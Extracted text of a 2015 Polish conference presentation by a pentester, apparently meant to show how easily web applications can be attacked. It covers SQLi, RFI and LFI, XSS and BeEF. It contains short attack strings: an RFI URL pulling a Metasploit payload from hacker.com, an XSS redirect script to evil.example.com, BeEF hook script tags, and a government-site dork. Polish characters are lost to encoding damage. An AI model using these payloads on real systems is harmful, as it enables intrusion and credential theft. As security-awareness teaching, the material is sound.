Prezentacja przedstawiona przeze mnie w 2015 roku na XVIII Midzynarodowej Konferencji Naukowej Techniczne Aspekty Przestpczoci Teleinformatycznej (TAPT) organizowanej przez Wy甜sz Szko Policji w Szczytnie.
2. Adam Ziaja, OSCP http://adamziaja.com
Pentester w du甜ej grupie bankowej
Test penetracyjny jest to kontrolowany atak na
system teleinformatyczny przeprowadzany z
perspektywy potencjalnego wamywacza
3. Informacje o prezentacji
Prezentacja ma na celu uwiadomienie jak prosto
mo甜na wykonywa ataki na aplikacje webowe
Wszystkie elementy samych atak坦w s symulacjami
przeprowadzonymi w rodowisku laboratoryjnym
(dlatego te甜 wszystkie zrzuty ekran坦w wykonane s z
prywatn klas adresow)
息 Adam Ziaja <adam@adamziaja.com>
4. Jeden z najsabszych punkt坦w bezpieczestwa IT
Statystycznie najprostsz metod wamania jest
wykorzystanie podatnej strony internetowej
(nie liczc podatnych ludzi phishing itd )
息 Adam Ziaja <adam@adamziaja.com>
5. Ataki na strony rzdowe
dokonywane m.in. przez Anonymous Poland
息 Adam Ziaja <adam@adamziaja.com>
Czy mo甜na wama si na dugiej przerwie
(20 min)?
Google hacking:
"SQL syntax" site:gov.pl
6. Google Hacking Database (GHDB)
https://www.exploit-db.com/google-hacking-database/
Gotowa baza zapyta do wyszukiwarki Google, dziki
kt坦rej znale添 mo甜na m.in. takie informacje jak:
Podatne strony internetowe (np. przez komunikaty z
bdami oraz stopki zawierajce informacje o
dziaajcym oprogramowaniu, czsto wraz z wersj)
Gboko ukryte pliki (czyli w trudnej do odgadnicia
lokalizacji)
Hasa, numery kart kredytowych
Urzdzenia sieciowe (np. podatne routery)
wszystko co znalaza wyszukiwarka Google
息 Adam Ziaja <adam@adamziaja.com>
7. SQL Injection (SQLi)
息 Adam Ziaja <adam@adamziaja.com>
bd SQLi wystpuj wtedy kiedy
u甜ytkownik mo甜e zmodyfikowa
zapytanie do serwera w taki spos坦b,
甜e aplikacja przele je dalej, a baza
danych wykona zmodyfikowane
zapytanie
mo甜e r坦wnie甜 zawiera komunikat o bdzie z bazy danych
(oczywicie tylko w przypadku jego wystpienia)
atak SQL Injection jest atakiem
typu server-side (po stronie serwera),
atakowany jest bezporednio serwer
8. 息 Adam Ziaja <adam@adamziaja.com>
/* zrzuty ekranu z marca 2013, bd ju甜 nie istnieje */
9. SQL Injection (SQLi)
息 Adam Ziaja <adam@adamziaja.com>
SELECT * FROM `pages` WHERE `pages_tag` = '2'' LIMIT 1
w tym miejscu mo甜emy zmodyfikowa zapytanie do bazy danych MySQL
komunikat o bdzie w zapytaniu SQL zwr坦cony przez baz danych MySQL
10. SQL Injection (SQLi)
Czy trzeba zna jzyk SQL i techniki
manipulacji zapytaniami aby si wama?
sqlmap narzdzie do automatycznych
atak坦w SQL Injection
息 Adam Ziaja <adam@adamziaja.com>
11. Krok po kroku
Jeli nie wiadomo co
klikn wystarczy ENTER i
wybrana zostanie
domylna warto
Efektem kocowym jest
uzyskanie dostpu do
wiersza polece systemu
operacyjnego z
uprawieniami aplikacji
www
Najczciej wystpuje ju甜
wtedy mo甜liwo
podmiany zawartoci
strony internetowej
Ew. dalsza rczna lub
automatyczna eskalacja
uprawnie np. przy
pomocy modu坦w MSF do
atak坦w lokalnych
息 Adam Ziaja <adam@adamziaja.com>
13. SQL Injection (SQLi)
SQL Injection to nie tylko problem aplikacji
webowych, ataki mo甜na przeprowadza na
wiele sposob坦w np. przez:
Oprogramowanie OCR (technika rozpoznawania
tekstu w plikach graficznych)
Kod kreskowy
[]
息 Adam Ziaja <adam@adamziaja.com>
14. SQL Injection w 甜yciu codziennym
息 Adam Ziaja <adam@adamziaja.com>
spos坦b na fotoradary?
(OCR)
15. SQL Injection w 甜yciu codziennym
息 Adam Ziaja <adam@adamziaja.com>
Przykadowe kody kreskowe mogce ujawni podatno SQLi:
16. Remote File Inclusion (RFI)
Mo甜liwo zdalnego zaadowania pliku,
kt坦rego zawarto zostanie wykonana po
stronie podatnego serwera
Dziki zaadowaniu payloadu MSF uzyskujemy
dostp do wiersza polece systemu
operacyjnego
abc.pl/i.php?file=http://hacker.com/msf.txt
息 Adam Ziaja <adam@adamziaja.com>
17. Local File Inclusion (LFI)
Mo甜liwo zaadowania lokalnego pliku,
kt坦rego zawarto zostanie wykonana
Analogicznie do RFI jeli jest mo甜liwo
zaadowania payloadu MSF to istnieje
mo甜liwo uzyskania dostpu to wiersza
polece systemu operacyjnego
abc.pl/i.php?file=/tmp/msf.txt
息 Adam Ziaja <adam@adamziaja.com>
18. Local File Inclusion (LFI)
息 Adam Ziaja <adam@adamziaja.com>
Przykadowy scenariusz ataku bez MSF, w przypadku jeli
serwer www mo甜e odczyta wasne logi:
20. Local File Inclusion (LFI)
息 Adam Ziaja <adam@adamziaja.com>
nastpnie lokalna eskalacja uprawnie
np. przez luki w konfiguracji lub exploitacj
21. Bezpieczestwo aplikacji webowych to nie tylko
ataki po stronie serwera, ale r坦wnie甜 ataki
client-side (po stronie klienta), w kt坦rych
atakowany jest bezporednio klient.
息 Adam Ziaja <adam@adamziaja.com>
22. Cross-Site Scripting (XSS)
Atak polegajcy na osadzeniu w treci atakowanej
strony kodu wykonywanego po stronie klienta
(zazwyczaj) JavaScript (np. umieszczony w komentarzu)
Dwie g坦wne metody atak坦w XSS:
Stored
Reflected
息 Adam Ziaja <adam@adamziaja.com>
25. XSS payload (adunek)
<script>
document.body.innerHTML='Aby zobaczy t stron musisz si
<a href="http://evil.example.com">zalogowa</a>. Za 5
sekund zostaniesz automatycznie przeniesiony do strony
logowania.'
setTimeout('location.replace("http://evil.example.com")',
5000)
</script>
息 Adam Ziaja <adam@adamziaja.com>
26. XSS, mo甜liwoci m.in.:
Kradzie甜 powiadcze (np. zawarto cookies)
Modyfikacja treci i wygldu strony
Przekierowanie na inn stron
Podsuch w obrbie danej strony internetowej
息 Adam Ziaja <adam@adamziaja.com>
27. BeEF http://beefproject.com framework do
atak坦w XSS
息 Adam Ziaja <adam@adamziaja.com>
zielona ramka ofiara
czerwona ramka atakujcy
przykadowa zmienna GET podatna na reflected XSS
XSS payload (adunek) nawizujcy poczenie z BeEFem
strona zawiera panel logowania
28. 息 Adam Ziaja <adam@adamziaja.com>
Og坦lne dane o
przegldarce oraz
systemie
Aktywne
komponenty itp
29. Atakujcy przy pomocy BeEF-a umieszcza keylogger w
pywajcej ramce, w kt坦rej zaaduje si login.php
Atakujcy podsya ofierze odnonik z XSS-em
息 Adam Ziaja <adam@adamziaja.com>
%3Cscript%20src%3Dhttp%3A//hacker.com%3A3000/hook.js%3E%3C/script%3E
%3Cscript%20src%3Dhttp%3A//xn--kda4b0koi.pl%3E%3C/script%3E
xn--kda4b0koi.pl zakodowana forma (ACE) domeny 甜坦.pl
31. 息 Adam Ziaja <adam@adamziaja.com>
Przykadowy scenariusz ataku
(w przypadku podatnoci XSS na routerze)
32. 息 Adam Ziaja <adam@adamziaja.com>
Atakujcy ustawia
proxy w przegldarce
na 127.0.0.1:6789
czy si do strony
podatnej na XSS za
porednictwem
komputera ofiary
(czyli z jej adresem IP)
Loguje si
podsuchanym
hasem lub pr坦buje
domylne haso dla
danego routera
Zmiana adres坦w DNS,
poznanie hasa WiFi
33. Cross-Site Scripting (XSS)
Podatno mo甜na wykorzysta nie tylko do kradzie甜y
powiadcze ale r坦wnie甜 np.:
Ataku (D)DoS (szczeg坦lnie w przypadku stored XSS)
Przekierowania (analogicznie jak w pierwszym
przykadzie location.replace) na payload
Metasploita w celu zaatakowania podatnej
przegldarki u甜ytkownika
息 Adam Ziaja <adam@adamziaja.com>
35. 息 Adam Ziaja <adam@adamziaja.com>
Exploit na IE8
Atakujcy zyskuje
peen dostp do
wiersza polece
systemu Windows
i mo甜e zrobi to
samo co w trybie
graficznym
w przypadku jeli
u甜ytkownik nie dziaa z
prawami administratora
36. 息 Adam Ziaja <adam@adamziaja.com>
Uzyskanie uprawnie
administratora przez
zastosowanie
lokalnego exploita
Dodanie wasnego
u甜ytkownika
Dodanie uprawnie
administratora
Dodanie mo甜liwoci
czenia na zdalny
pulpit (RDP)
Uruchomienie usugi
RDP (nie wystpuje na
zrzucie ekranu)
Odblokowanie RDP na
firewallu
Poczenie na RDP
37. Podsumowanie
Dziki podatnej stronie atakujcy mo甜e np.:
Uzyska peen dostp do serwera
Uzyska peen dostp do stacji roboczej
u甜ytkownika
Dalej na wiele sposob坦w eskalowa zdobyte
uprawienia np. przez sie lokaln do kt坦rej
podpity jest serwer lub u甜ytkownik
息 Adam Ziaja <adam@adamziaja.com>
38. Prawdziwi hakerzy (w wikszoci
przypadk坦w) nie podmieniaj stron
internetowych ale utrzymuj dostp
息 Adam Ziaja <adam@adamziaja.com>
39. Podsumowanie
Zaprezentowana zostaa tylko bardzo niewielka
cz z najpopularniejszych atak坦w
Bezpieczestwo aplikacji webowych
(publikacja TAPT 2014) opis atak坦w oraz
metody ich wykrywania z punktu widzenia
informatyki ledczej
息 Adam Ziaja <adam@adamziaja.com>
metodyki test坦w penetracyjnych
40. Jak 甜y?
Zatrudni pentester坦w lub zleca testy
penetracyjne zewntrznym podmiotom
息 Adam Ziaja <adam@adamziaja.com>
41. Czy trzeba w og坦le si zna,
aby si wama?
hasa s jak majtki:
zmieniaj je czsto, nie zostawiaj na widoku i nie po甜yczaj obcym
to zale甜y
息 Adam Ziaja <adam@adamziaja.com>